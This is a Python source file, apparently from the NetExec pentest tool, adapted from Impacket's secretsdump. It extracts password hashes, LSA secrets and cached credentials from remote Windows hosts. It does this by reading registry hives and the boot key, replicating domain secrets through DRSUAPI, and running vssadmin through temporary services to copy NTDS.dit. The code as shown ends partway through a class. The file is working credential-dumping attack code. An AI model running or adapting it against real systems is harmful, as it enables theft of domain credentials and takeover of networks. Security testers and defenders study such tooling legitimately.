mirror of
https://github.com/Pennyw0rth/NetExec
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byt3bl33d3r
2068 lines
86 KiB
Python
Executable File
2068 lines
86 KiB
Python
Executable File
#!/usr/bin/python
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# Copyright (c) 2003-2015 CORE Security Technologies
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#
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# This software is provided under a slightly modified version
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# of the Apache Software License. See the accompanying LICENSE file
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# for more information.
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#
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# Description: Performs various techniques to dump hashes from the
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# remote machine without executing any agent there.
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# For SAM and LSA Secrets (including cached creds)
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# we try to read as much as we can from the registry
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# and then we save the hives in the target system
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# (%SYSTEMROOT%\\Temp dir) and read the rest of the
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# data from there.
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# For NTDS.dit we either:
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# a. Get the domain users list and get its hashes
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# and Kerberos keys using [MS-DRDS] DRSGetNCChanges()
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# call, replicating just the attributes we need.
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# b. Extract NTDS.dit via vssadmin executed with the
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# smbexec approach.
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# It's copied on the temp dir and parsed remotely.
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#
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# The script initiates the services required for its working
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# if they are not available (e.g. Remote Registry, even if it is
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# disabled). After the work is done, things are restored to the
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# original state.
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#
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# Author:
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# Alberto Solino (@agsolino)
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#
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# References: Most of the work done by these guys. I just put all
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# the pieces together, plus some extra magic.
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#
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# https://github.com/gentilkiwi/kekeo/tree/master/dcsync
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# http://moyix.blogspot.com.ar/2008/02/syskey-and-sam.html
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# http://moyix.blogspot.com.ar/2008/02/decrypting-lsa-secrets.html
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# http://moyix.blogspot.com.ar/2008/02/cached-domain-credentials.html
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# http://www.quarkslab.com/en-blog+read+13
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# https://code.google.com/p/creddump/
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# http://lab.mediaservice.net/code/cachedump.rb
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# http://insecurety.net/?p=768
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# http://www.beginningtoseethelight.org/ntsecurity/index.htm
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# http://www.ntdsxtract.com/downloads/ActiveDirectoryOfflineHashDumpAndForensics.pdf
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# http://www.passcape.com/index.php?section=blog&cmd=details&id=15
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#
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from struct import unpack, pack
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from collections import OrderedDict
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from binascii import unhexlify, hexlify
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from datetime import datetime
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from gevent import sleep
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import sys
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import random
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import hashlib
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import argparse
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import logging
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import ntpath
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import string
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import codecs
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import os
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from core.logger import *
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from impacket import version, winregistry, ntlm
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from impacket.smbconnection import SMBConnection
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from impacket.dcerpc.v5 import transport, rrp, scmr, wkst, samr, epm, drsuapi
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from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE
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from impacket.winregistry import hexdump
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from impacket.structure import Structure
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from impacket.nt_errors import STATUS_MORE_ENTRIES
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from impacket.ese import ESENT_DB
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from impacket.dcerpc.v5.dtypes import NULL
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from Crypto.Cipher import DES, ARC4, AES
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from Crypto.Hash import HMAC, MD4
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# Structures
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# Taken from http://insecurety.net/?p=768
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class SAM_KEY_DATA(Structure):
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structure = (
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('Revision','<L=0'),
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('Length','<L=0'),
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('Salt','16s=""'),
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('Key','16s=""'),
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('CheckSum','16s=""'),
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('Reserved','<Q=0'),
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)
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class DOMAIN_ACCOUNT_F(Structure):
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structure = (
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('Revision','<L=0'),
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('Unknown','<L=0'),
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('CreationTime','<Q=0'),
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('DomainModifiedCount','<Q=0'),
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('MaxPasswordAge','<Q=0'),
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('MinPasswordAge','<Q=0'),
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('ForceLogoff','<Q=0'),
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('LockoutDuration','<Q=0'),
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('LockoutObservationWindow','<Q=0'),
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('ModifiedCountAtLastPromotion','<Q=0'),
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('NextRid','<L=0'),
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('PasswordProperties','<L=0'),
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('MinPasswordLength','<H=0'),
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('PasswordHistoryLength','<H=0'),
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('LockoutThreshold','<H=0'),
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('Unknown2','<H=0'),
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('ServerState','<L=0'),
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('ServerRole','<H=0'),
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('UasCompatibilityRequired','<H=0'),
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('Unknown3','<Q=0'),
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('Key0',':', SAM_KEY_DATA),
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# Commenting this, not needed and not present on Windows 2000 SP0
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# ('Key1',':', SAM_KEY_DATA),
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# ('Unknown4','<L=0'),
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)
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# Great help from here http://www.beginningtoseethelight.org/ntsecurity/index.htm
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class USER_ACCOUNT_V(Structure):
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structure = (
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('Unknown','12s=""'),
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('NameOffset','<L=0'),
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('NameLength','<L=0'),
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('Unknown2','<L=0'),
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('FullNameOffset','<L=0'),
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('FullNameLength','<L=0'),
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('Unknown3','<L=0'),
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('CommentOffset','<L=0'),
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('CommentLength','<L=0'),
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('Unknown3','<L=0'),
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('UserCommentOffset','<L=0'),
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('UserCommentLength','<L=0'),
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('Unknown4','<L=0'),
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('Unknown5','12s=""'),
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('HomeDirOffset','<L=0'),
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('HomeDirLength','<L=0'),
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('Unknown6','<L=0'),
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('HomeDirConnectOffset','<L=0'),
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('HomeDirConnectLength','<L=0'),
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('Unknown7','<L=0'),
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('ScriptPathOffset','<L=0'),
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('ScriptPathLength','<L=0'),
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('Unknown8','<L=0'),
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('ProfilePathOffset','<L=0'),
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('ProfilePathLength','<L=0'),
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('Unknown9','<L=0'),
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('WorkstationsOffset','<L=0'),
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('WorkstationsLength','<L=0'),
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('Unknown10','<L=0'),
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('HoursAllowedOffset','<L=0'),
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('HoursAllowedLength','<L=0'),
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('Unknown11','<L=0'),
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('Unknown12','12s=""'),
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('LMHashOffset','<L=0'),
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('LMHashLength','<L=0'),
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('Unknown13','<L=0'),
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('NTHashOffset','<L=0'),
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('NTHashLength','<L=0'),
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('Unknown14','<L=0'),
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('Unknown15','24s=""'),
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('Data',':=""'),
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)
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class NL_RECORD(Structure):
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structure = (
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('UserLength','<H=0'),
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('DomainNameLength','<H=0'),
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('EffectiveNameLength','<H=0'),
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('FullNameLength','<H=0'),
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('MetaData','52s=""'),
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('FullDomainLength','<H=0'),
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('Length2','<H=0'),
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('CH','16s=""'),
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('T','16s=""'),
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('EncryptedData',':'),
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)
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class SAMR_RPC_SID_IDENTIFIER_AUTHORITY(Structure):
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structure = (
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('Value','6s'),
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)
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class SAMR_RPC_SID(Structure):
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structure = (
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('Revision','<B'),
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('SubAuthorityCount','<B'),
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('IdentifierAuthority',':',SAMR_RPC_SID_IDENTIFIER_AUTHORITY),
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('SubLen','_-SubAuthority','self["SubAuthorityCount"]*4'),
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('SubAuthority',':'),
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)
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def formatCanonical(self):
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ans = 'S-%d-%d' % (self['Revision'], ord(self['IdentifierAuthority']['Value'][5]))
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for i in range(self['SubAuthorityCount']):
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ans += '-%d' % ( unpack('>L',self['SubAuthority'][i*4:i*4+4])[0])
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return ans
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class LSA_SECRET_BLOB(Structure):
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structure = (
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('Length','<L=0'),
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('Unknown','12s=""'),
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('_Secret','_-Secret','self["Length"]'),
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('Secret',':'),
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('Remaining',':'),
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)
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class LSA_SECRET(Structure):
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structure = (
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('Version','<L=0'),
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('EncKeyID','16s=""'),
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('EncAlgorithm','<L=0'),
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('Flags','<L=0'),
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('EncryptedData',':'),
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)
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class LSA_SECRET_XP(Structure):
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structure = (
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('Length','<L=0'),
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('Version','<L=0'),
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('_Secret','_-Secret', 'self["Length"]'),
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('Secret', ':'),
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)
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# Classes
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class RemoteFile:
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def __init__(self, smbConnection, fileName):
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self.__smbConnection = smbConnection
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self.__fileName = fileName
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self.__tid = self.__smbConnection.connectTree('ADMIN$')
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self.__fid = None
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self.__currentOffset = 0
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def open(self):
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self.__fid = self.__smbConnection.openFile(self.__tid, self.__fileName)
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def seek(self, offset, whence):
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# Implement whence, for now it's always from the beginning of the file
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if whence == 0:
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self.__currentOffset = offset
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def read(self, bytesToRead):
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if bytesToRead > 0:
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data = self.__smbConnection.readFile(self.__tid, self.__fid, self.__currentOffset, bytesToRead)
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self.__currentOffset += len(data)
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return data
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return ''
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def close(self):
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if self.__fid is not None:
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self.__smbConnection.closeFile(self.__tid, self.__fid)
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self.__smbConnection.deleteFile('ADMIN$', self.__fileName)
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self.__fid = None
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def tell(self):
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return self.__currentOffset
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def __str__(self):
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return "\\\\%s\\ADMIN$\\%s" % (self.__smbConnection.getRemoteHost(), self.__fileName)
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class RemoteOperations:
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def __init__(self, smbConnection, doKerberos):
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self.__smbConnection = smbConnection
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self.__smbConnection.setTimeout(5*60)
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self.__serviceName = 'RemoteRegistry'
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self.__stringBindingWinReg = r'ncacn_np:445[\pipe\winreg]'
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self.__rrp = None
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self.__regHandle = None
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self.__stringBindingSamr = r'ncacn_np:445[\pipe\samr]'
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self.__samr = None
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self.__domainHandle = None
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self.__domainName = None
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self.__drsr = None
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self.__hDrs = None
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self.__NtdsDsaObjectGuid = None
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self.__ppartialAttrSet = None
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self.__prefixTable = []
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self.__doKerberos = doKerberos
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self.__bootKey = ''
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self.__disabled = False
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self.__shouldStop = False
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self.__started = False
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self.__stringBindingSvcCtl = r'ncacn_np:445[\pipe\svcctl]'
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self.__scmr = None
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self.__tmpServiceName = None
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self.__serviceDeleted = False
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self.__batchFile = '%TEMP%\\execute.bat'
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self.__shell = '%COMSPEC% /Q /c '
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self.__output = '%SYSTEMROOT%\\Temp\\__output'
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self.__answerTMP = ''
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def __connectSvcCtl(self):
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rpc = transport.DCERPCTransportFactory(self.__stringBindingSvcCtl)
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rpc.set_smb_connection(self.__smbConnection)
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self.__scmr = rpc.get_dce_rpc()
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self.__scmr.connect()
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self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
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def __connectWinReg(self):
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rpc = transport.DCERPCTransportFactory(self.__stringBindingWinReg)
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rpc.set_smb_connection(self.__smbConnection)
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self.__rrp = rpc.get_dce_rpc()
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self.__rrp.connect()
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self.__rrp.bind(rrp.MSRPC_UUID_RRP)
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def connectSamr(self, domain):
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rpc = transport.DCERPCTransportFactory(self.__stringBindingSamr)
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rpc.set_smb_connection(self.__smbConnection)
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self.__samr = rpc.get_dce_rpc()
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self.__samr.connect()
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self.__samr.bind(samr.MSRPC_UUID_SAMR)
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resp = samr.hSamrConnect(self.__samr)
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serverHandle = resp['ServerHandle']
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resp = samr.hSamrLookupDomainInSamServer(self.__samr, serverHandle, domain)
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resp = samr.hSamrOpenDomain(self.__samr, serverHandle=serverHandle, domainId=resp['DomainId'])
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self.__domainHandle = resp['DomainHandle']
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self.__domainName = domain
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def __connectDrds(self):
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stringBinding = epm.hept_map(self.__smbConnection.getRemoteHost(), drsuapi.MSRPC_UUID_DRSUAPI,
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protocol='ncacn_ip_tcp')
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rpc = transport.DCERPCTransportFactory(stringBinding)
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if hasattr(rpc, 'set_credentials'):
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# This method exists only for selected protocol sequences.
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rpc.set_credentials(*(self.__smbConnection.getCredentials()))
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rpc.set_kerberos(self.__doKerberos)
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self.__drsr = rpc.get_dce_rpc()
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self.__drsr.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
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if self.__doKerberos:
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self.__drsr.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
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self.__drsr.connect()
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self.__drsr.bind(drsuapi.MSRPC_UUID_DRSUAPI)
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request = drsuapi.DRSBind()
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request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID
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drs = drsuapi.DRS_EXTENSIONS_INT()
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drs['cb'] = len(drs) #- 4
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drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 | drsuapi.DRS_EXT_STRONG_ENCRYPTION
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drs['SiteObjGuid'] = drsuapi.NULLGUID
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drs['Pid'] = 0
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drs['dwReplEpoch'] = 0
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drs['dwFlagsExt'] = 0
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drs['ConfigObjGUID'] = drsuapi.NULLGUID
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drs['dwExtCaps'] = 127
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request['pextClient']['cb'] = len(drs)
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request['pextClient']['rgb'] = list(str(drs))
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resp = self.__drsr.request(request)
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if logging.getLogger().level == logging.DEBUG:
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logging.debug('DRSBind() answer')
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resp.dump()
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self.__hDrs = resp['phDrs']
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# Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges
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resp = drsuapi.hDRSDomainControllerInfo(self.__drsr, self.__hDrs, self.__domainName, 2)
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if logging.getLogger().level == logging.DEBUG:
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logging.debug('DRSDomainControllerInfo() answer')
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resp.dump()
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if resp['pmsgOut']['V2']['cItems'] > 0:
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self.__NtdsDsaObjectGuid = resp['pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid']
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else:
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logging.error("Couldn't get DC info for domain %s" % self.__domainName)
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raise Exception('Fatal, aborting')
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def getDrsr(self):
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return self.__drsr
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def DRSCrackNames(self, formatOffered=drsuapi.DS_NAME_FORMAT.DS_DISPLAY_NAME,
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formatDesired=drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, name=''):
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if self.__drsr is None:
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self.__connectDrds()
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resp = drsuapi.hDRSCrackNames(self.__drsr, self.__hDrs, 0, formatOffered, formatDesired, (name,))
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return resp
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def DRSGetNCChanges(self, userEntry):
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if self.__drsr is None:
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self.__connectDrds()
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request = drsuapi.DRSGetNCChanges()
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request['hDrs'] = self.__hDrs
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request['dwInVersion'] = 8
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request['pmsgIn']['tag'] = 8
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request['pmsgIn']['V8']['uuidDsaObjDest'] = self.__NtdsDsaObjectGuid
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request['pmsgIn']['V8']['uuidInvocIdSrc'] = self.__NtdsDsaObjectGuid
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dsName = drsuapi.DSNAME()
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dsName['SidLen'] = 0
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dsName['Guid'] = drsuapi.NULLGUID
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dsName['Sid'] = ''
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dsName['NameLen'] = len(userEntry)
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dsName['StringName'] = (userEntry + '\x00')
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dsName['structLen'] = len(dsName.getData())
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request['pmsgIn']['V8']['pNC'] = dsName
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request['pmsgIn']['V8']['usnvecFrom']['usnHighObjUpdate'] = 0
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request['pmsgIn']['V8']['usnvecFrom']['usnHighPropUpdate'] = 0
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request['pmsgIn']['V8']['pUpToDateVecDest'] = NULL
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request['pmsgIn']['V8']['ulFlags'] = drsuapi.DRS_INIT_SYNC | drsuapi.DRS_WRIT_REP
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request['pmsgIn']['V8']['cMaxObjects'] = 1
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request['pmsgIn']['V8']['cMaxBytes'] = 0
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request['pmsgIn']['V8']['ulExtendedOp'] = drsuapi.EXOP_REPL_OBJ
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if self.__ppartialAttrSet is None:
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self.__prefixTable = []
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self.__ppartialAttrSet = drsuapi.PARTIAL_ATTR_VECTOR_V1_EXT()
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self.__ppartialAttrSet['dwVersion'] = 1
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self.__ppartialAttrSet['cAttrs'] = len(NTDSHashes.ATTRTYP_TO_ATTID)
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for attId in NTDSHashes.ATTRTYP_TO_ATTID.values():
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self.__ppartialAttrSet['rgPartialAttr'].append(drsuapi.MakeAttid(self.__prefixTable , attId))
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request['pmsgIn']['V8']['pPartialAttrSet'] = self.__ppartialAttrSet
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request['pmsgIn']['V8']['PrefixTableDest']['PrefixCount'] = len(self.__prefixTable)
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request['pmsgIn']['V8']['PrefixTableDest']['pPrefixEntry'] = self.__prefixTable
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request['pmsgIn']['V8']['pPartialAttrSetEx1'] = NULL
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return self.__drsr.request(request)
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def getDomainUsers(self, enumerationContext=0):
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if self.__samr is None:
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self.connectSamr(self.getMachineNameAndDomain()[1])
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try:
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resp = samr.hSamrEnumerateUsersInDomain(self.__samr, self.__domainHandle,
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userAccountControl=samr.USER_NORMAL_ACCOUNT | \
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samr.USER_WORKSTATION_TRUST_ACCOUNT | \
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samr.USER_SERVER_TRUST_ACCOUNT |\
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samr.USER_INTERDOMAIN_TRUST_ACCOUNT,
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enumerationContext=enumerationContext)
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except DCERPCException, e:
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if str(e).find('STATUS_MORE_ENTRIES') < 0:
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raise
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resp = e.get_packet()
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return resp
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def ridToSid(self, rid):
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if self.__samr is None:
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self.connectSamr(self.getMachineNameAndDomain()[1])
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resp = samr.hSamrRidToSid(self.__samr, self.__domainHandle , rid)
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return resp['Sid']
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def getMachineNameAndDomain(self):
|
|
if self.__smbConnection.getServerName() == '':
|
|
# No serverName.. this is either because we're doing Kerberos
|
|
# or not receiving that data during the login process.
|
|
# Let's try getting it through RPC
|
|
rpc = transport.DCERPCTransportFactory(r'ncacn_np:445[\pipe\wkssvc]')
|
|
rpc.set_smb_connection(self.__smbConnection)
|
|
dce = rpc.get_dce_rpc()
|
|
dce.connect()
|
|
dce.bind(wkst.MSRPC_UUID_WKST)
|
|
resp = wkst.hNetrWkstaGetInfo(dce, 100)
|
|
dce.disconnect()
|
|
return resp['WkstaInfo']['WkstaInfo100']['wki100_computername'][:-1], resp['WkstaInfo']['WkstaInfo100']['wki100_langroup'][:-1]
|
|
else:
|
|
return self.__smbConnection.getServerName(), self.__smbConnection.getServerDomain()
|
|
|
|
def getDefaultLoginAccount(self):
|
|
try:
|
|
ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon')
|
|
keyHandle = ans['phkResult']
|
|
dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultUserName')
|
|
username = dataValue[:-1]
|
|
dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultDomainName')
|
|
domain = dataValue[:-1]
|
|
rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
|
|
if len(domain) > 0:
|
|
return '%s\\%s' % (domain,username)
|
|
else:
|
|
return username
|
|
except:
|
|
return None
|
|
|
|
def getServiceAccount(self, serviceName):
|
|
try:
|
|
# Open the service
|
|
ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, serviceName)
|
|
serviceHandle = ans['lpServiceHandle']
|
|
resp = scmr.hRQueryServiceConfigW(self.__scmr, serviceHandle)
|
|
account = resp['lpServiceConfig']['lpServiceStartName'][:-1]
|
|
scmr.hRCloseServiceHandle(self.__scmr, serviceHandle)
|
|
if account.startswith('.\\'):
|
|
account = account[2:]
|
|
return account
|
|
except Exception, e:
|
|
logging.error(e)
|
|
return None
|
|
|
|
def __checkServiceStatus(self):
|
|
# Open SC Manager
|
|
ans = scmr.hROpenSCManagerW(self.__scmr)
|
|
self.__scManagerHandle = ans['lpScHandle']
|
|
# Now let's open the service
|
|
ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__serviceName)
|
|
self.__serviceHandle = ans['lpServiceHandle']
|
|
# Let's check its status
|
|
ans = scmr.hRQueryServiceStatus(self.__scmr, self.__serviceHandle)
|
|
if ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_STOPPED:
|
|
logging.info('Service %s is in stopped state'% self.__serviceName)
|
|
self.__shouldStop = True
|
|
self.__started = False
|
|
elif ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_RUNNING:
|
|
logging.debug('Service %s is already running'% self.__serviceName)
|
|
self.__shouldStop = False
|
|
self.__started = True
|
|
else:
|
|
raise Exception('Unknown service state 0x%x - Aborting' % ans['CurrentState'])
|
|
|
|
# Let's check its configuration if service is stopped, maybe it's disabled :s
|
|
if self.__started is False:
|
|
ans = scmr.hRQueryServiceConfigW(self.__scmr,self.__serviceHandle)
|
|
if ans['lpServiceConfig']['dwStartType'] == 0x4:
|
|
logging.info('Service %s is disabled, enabling it'% self.__serviceName)
|
|
self.__disabled = True
|
|
scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x3)
|
|
logging.info('Starting service %s' % self.__serviceName)
|
|
scmr.hRStartServiceW(self.__scmr,self.__serviceHandle)
|
|
sleep(1)
|
|
|
|
def enableRegistry(self):
|
|
self.__connectSvcCtl()
|
|
self.__checkServiceStatus()
|
|
self.__connectWinReg()
|
|
|
|
def __restore(self):
|
|
# First of all stop the service if it was originally stopped
|
|
if self.__shouldStop is True:
|
|
logging.info('Stopping service %s' % self.__serviceName)
|
|
scmr.hRControlService(self.__scmr, self.__serviceHandle, scmr.SERVICE_CONTROL_STOP)
|
|
if self.__disabled is True:
|
|
logging.info('Restoring the disabled state for service %s' % self.__serviceName)
|
|
scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x4)
|
|
if self.__serviceDeleted is False:
|
|
# Check again the service we created does not exist, starting a new connection
|
|
# Why?.. Hitting CTRL+C might break the whole existing DCE connection
|
|
try:
|
|
rpc = transport.DCERPCTransportFactory(r'ncacn_np:%s[\pipe\svcctl]' % self.__smbConnection.getRemoteHost())
|
|
if hasattr(rpc, 'set_credentials'):
|
|
# This method exists only for selected protocol sequences.
|
|
rpc.set_credentials(*self.__smbConnection.getCredentials())
|
|
rpc.set_kerberos(self.__doKerberos)
|
|
self.__scmr = rpc.get_dce_rpc()
|
|
self.__scmr.connect()
|
|
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
|
|
# Open SC Manager
|
|
ans = scmr.hROpenSCManagerW(self.__scmr)
|
|
self.__scManagerHandle = ans['lpScHandle']
|
|
# Now let's open the service
|
|
resp = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName)
|
|
service = resp['lpServiceHandle']
|
|
scmr.hRDeleteService(self.__scmr, service)
|
|
scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP)
|
|
scmr.hRCloseServiceHandle(self.__scmr, service)
|
|
scmr.hRCloseServiceHandle(self.__scmr, self.__serviceHandle)
|
|
scmr.hRCloseServiceHandle(self.__scmr, self.__scManagerHandle)
|
|
rpc.disconnect()
|
|
except Exception, e:
|
|
# If service is stopped it'll trigger an exception
|
|
# If service does not exist it'll trigger an exception
|
|
# So. we just wanna be sure we delete it, no need to
|
|
# show this exception message
|
|
pass
|
|
|
|
def finish(self):
|
|
self.__restore()
|
|
if self.__rrp is not None:
|
|
self.__rrp.disconnect()
|
|
if self.__drsr is not None:
|
|
self.__drsr.disconnect()
|
|
if self.__samr is not None:
|
|
self.__samr.disconnect()
|
|
if self.__scmr is not None:
|
|
self.__scmr.disconnect()
|
|
|
|
def getBootKey(self):
|
|
bootKey = ''
|
|
ans = rrp.hOpenLocalMachine(self.__rrp)
|
|
self.__regHandle = ans['phKey']
|
|
for key in ['JD','Skew1','GBG','Data']:
|
|
logging.debug('Retrieving class info for %s'% key)
|
|
ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa\\%s' % key)
|
|
keyHandle = ans['phkResult']
|
|
ans = rrp.hBaseRegQueryInfoKey(self.__rrp,keyHandle)
|
|
bootKey = bootKey + ans['lpClassOut'][:-1]
|
|
rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
|
|
|
|
transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ]
|
|
|
|
bootKey = unhexlify(bootKey)
|
|
|
|
for i in xrange(len(bootKey)):
|
|
self.__bootKey += bootKey[transforms[i]]
|
|
|
|
logging.info('Target system bootKey: 0x%s' % hexlify(self.__bootKey))
|
|
|
|
return self.__bootKey
|
|
|
|
def checkNoLMHashPolicy(self):
|
|
logging.debug('Checking NoLMHash Policy')
|
|
ans = rrp.hOpenLocalMachine(self.__rrp)
|
|
self.__regHandle = ans['phKey']
|
|
|
|
ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa')
|
|
keyHandle = ans['phkResult']
|
|
try:
|
|
dataType, noLMHash = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'NoLmHash')
|
|
except:
|
|
noLMHash = 0
|
|
|
|
if noLMHash != 1:
|
|
logging.debug('LMHashes are being stored')
|
|
return False
|
|
|
|
logging.debug('LMHashes are NOT being stored')
|
|
return True
|
|
|
|
def __retrieveHive(self, hiveName):
|
|
tmpFileName = ''.join([random.choice(string.letters) for _ in range(8)]) + '.tmp'
|
|
ans = rrp.hOpenLocalMachine(self.__rrp)
|
|
regHandle = ans['phKey']
|
|
try:
|
|
ans = rrp.hBaseRegCreateKey(self.__rrp, regHandle, hiveName)
|
|
except:
|
|
raise Exception("Can't open %s hive" % hiveName)
|
|
keyHandle = ans['phkResult']
|
|
rrp.hBaseRegSaveKey(self.__rrp, keyHandle, tmpFileName)
|
|
rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
|
|
rrp.hBaseRegCloseKey(self.__rrp, regHandle)
|
|
# Now let's open the remote file, so it can be read later
|
|
remoteFileName = RemoteFile(self.__smbConnection, 'SYSTEM32\\'+tmpFileName)
|
|
return remoteFileName
|
|
|
|
def saveSAM(self):
|
|
logging.debug('Saving remote SAM database')
|
|
return self.__retrieveHive('SAM')
|
|
|
|
def saveSECURITY(self):
|
|
logging.debug('Saving remote SECURITY database')
|
|
return self.__retrieveHive('SECURITY')
|
|
|
|
def __executeRemote(self, data):
|
|
self.__tmpServiceName = ''.join([random.choice(string.letters) for _ in range(8)]).encode('utf-16le')
|
|
command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile
|
|
command += ' & ' + 'del ' + self.__batchFile
|
|
|
|
self.__serviceDeleted = False
|
|
resp = scmr.hRCreateServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName, self.__tmpServiceName, lpBinaryPathName=command)
|
|
service = resp['lpServiceHandle']
|
|
try:
|
|
scmr.hRStartServiceW(self.__scmr, service)
|
|
except:
|
|
pass
|
|
scmr.hRDeleteService(self.__scmr, service)
|
|
self.__serviceDeleted = True
|
|
scmr.hRCloseServiceHandle(self.__scmr, service)
|
|
def __answer(self, data):
|
|
self.__answerTMP += data
|
|
|
|
def __getLastVSS(self):
|
|
self.__executeRemote('%COMSPEC% /C vssadmin list shadows')
|
|
sleep(5)
|
|
tries = 0
|
|
while True:
|
|
try:
|
|
self.__smbConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
|
|
break
|
|
except Exception, e:
|
|
if tries > 30:
|
|
# We give up
|
|
raise Exception('Too many tries trying to list vss shadows')
|
|
if str(e).find('SHARING') > 0:
|
|
# Stuff didn't finish yet.. wait more
|
|
sleep(5)
|
|
tries +=1
|
|
pass
|
|
else:
|
|
raise
|
|
|
|
lines = self.__answerTMP.split('\n')
|
|
lastShadow = ''
|
|
lastShadowFor = ''
|
|
|
|
# Let's find the last one
|
|
# The string used to search the shadow for drive. Wondering what happens
|
|
# in other languages
|
|
SHADOWFOR = 'Volume: ('
|
|
|
|
for line in lines:
|
|
if line.find('GLOBALROOT') > 0:
|
|
lastShadow = line[line.find('\\\\?'):][:-1]
|
|
elif line.find(SHADOWFOR) > 0:
|
|
lastShadowFor = line[line.find(SHADOWFOR)+len(SHADOWFOR):][:2]
|
|
|
|
self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output')
|
|
|
|
return lastShadow, lastShadowFor
|
|
|
|
def saveNTDS(self):
|
|
logging.info('Searching for NTDS.dit')
|
|
# First of all, let's try to read the target NTDS.dit registry entry
|
|
ans = rrp.hOpenLocalMachine(self.__rrp)
|
|
regHandle = ans['phKey']
|
|
try:
|
|
ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters')
|
|
keyHandle = ans['phkResult']
|
|
except:
|
|
# Can't open the registry path, assuming no NTDS on the other end
|
|
return None
|
|
|
|
try:
|
|
dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DSA Database file')
|
|
ntdsLocation = dataValue[:-1]
|
|
ntdsDrive = ntdsLocation[:2]
|
|
except:
|
|
# Can't open the registry path, assuming no NTDS on the other end
|
|
return None
|
|
|
|
rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
|
|
rrp.hBaseRegCloseKey(self.__rrp, regHandle)
|
|
|
|
logging.info('Registry says NTDS.dit is at %s. Calling vssadmin to get a copy. This might take some time' % ntdsLocation)
|
|
# Get the list of remote shadows
|
|
shadow, shadowFor = self.__getLastVSS()
|
|
if shadow == '' or (shadow != '' and shadowFor != ntdsDrive):
|
|
# No shadow, create one
|
|
self.__executeRemote('%%COMSPEC%% /C vssadmin create shadow /For=%s' % ntdsDrive)
|
|
shadow, shadowFor = self.__getLastVSS()
|
|
shouldRemove = True
|
|
if shadow == '':
|
|
raise Exception('Could not get a VSS')
|
|
else:
|
|
shouldRemove = False
|
|
|
|
# Now copy the ntds.dit to the temp directory
|
|
tmpFileName = ''.join([random.choice(string.letters) for _ in range(8)]) + '.tmp'
|
|
|
|
self.__executeRemote('%%COMSPEC%% /C copy %s%s %%SYSTEMROOT%%\\Temp\\%s' % (shadow, ntdsLocation[2:], tmpFileName))
|
|
|
|
if shouldRemove is True:
|
|
self.__executeRemote('%%COMSPEC%% /C vssadmin delete shadows /For=%s /Quiet' % ntdsDrive)
|
|
|
|
self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output')
|
|
|
|
remoteFileName = RemoteFile(self.__smbConnection, 'Temp\\%s' % tmpFileName)
|
|
|
|
return remoteFileName
|
|
|
|
class CryptoCommon:
|
|
# Common crypto stuff used over different classes
|
|
def transformKey(self, InputKey):
|
|
# Section 2.2.11.1.2 Encrypting a 64-Bit Block with a 7-Byte Key
|
|
OutputKey = []
|
|
OutputKey.append( chr(ord(InputKey[0]) >> 0x01) )
|
|
OutputKey.append( chr(((ord(InputKey[0])&0x01)<<6) | (ord(InputKey[1])>>2)) )
|
|
OutputKey.append( chr(((ord(InputKey[1])&0x03)<<5) | (ord(InputKey[2])>>3)) )
|
|
OutputKey.append( chr(((ord(InputKey[2])&0x07)<<4) | (ord(InputKey[3])>>4)) )
|
|
OutputKey.append( chr(((ord(InputKey[3])&0x0F)<<3) | (ord(InputKey[4])>>5)) )
|
|
OutputKey.append( chr(((ord(InputKey[4])&0x1F)<<2) | (ord(InputKey[5])>>6)) )
|
|
OutputKey.append( chr(((ord(InputKey[5])&0x3F)<<1) | (ord(InputKey[6])>>7)) )
|
|
OutputKey.append( chr(ord(InputKey[6]) & 0x7F) )
|
|
|
|
for i in range(8):
|
|
OutputKey[i] = chr((ord(OutputKey[i]) << 1) & 0xfe)
|
|
|
|
return "".join(OutputKey)
|
|
|
|
def deriveKey(self, baseKey):
|
|
# 2.2.11.1.3 Deriving Key1 and Key2 from a Little-Endian, Unsigned Integer Key
|
|
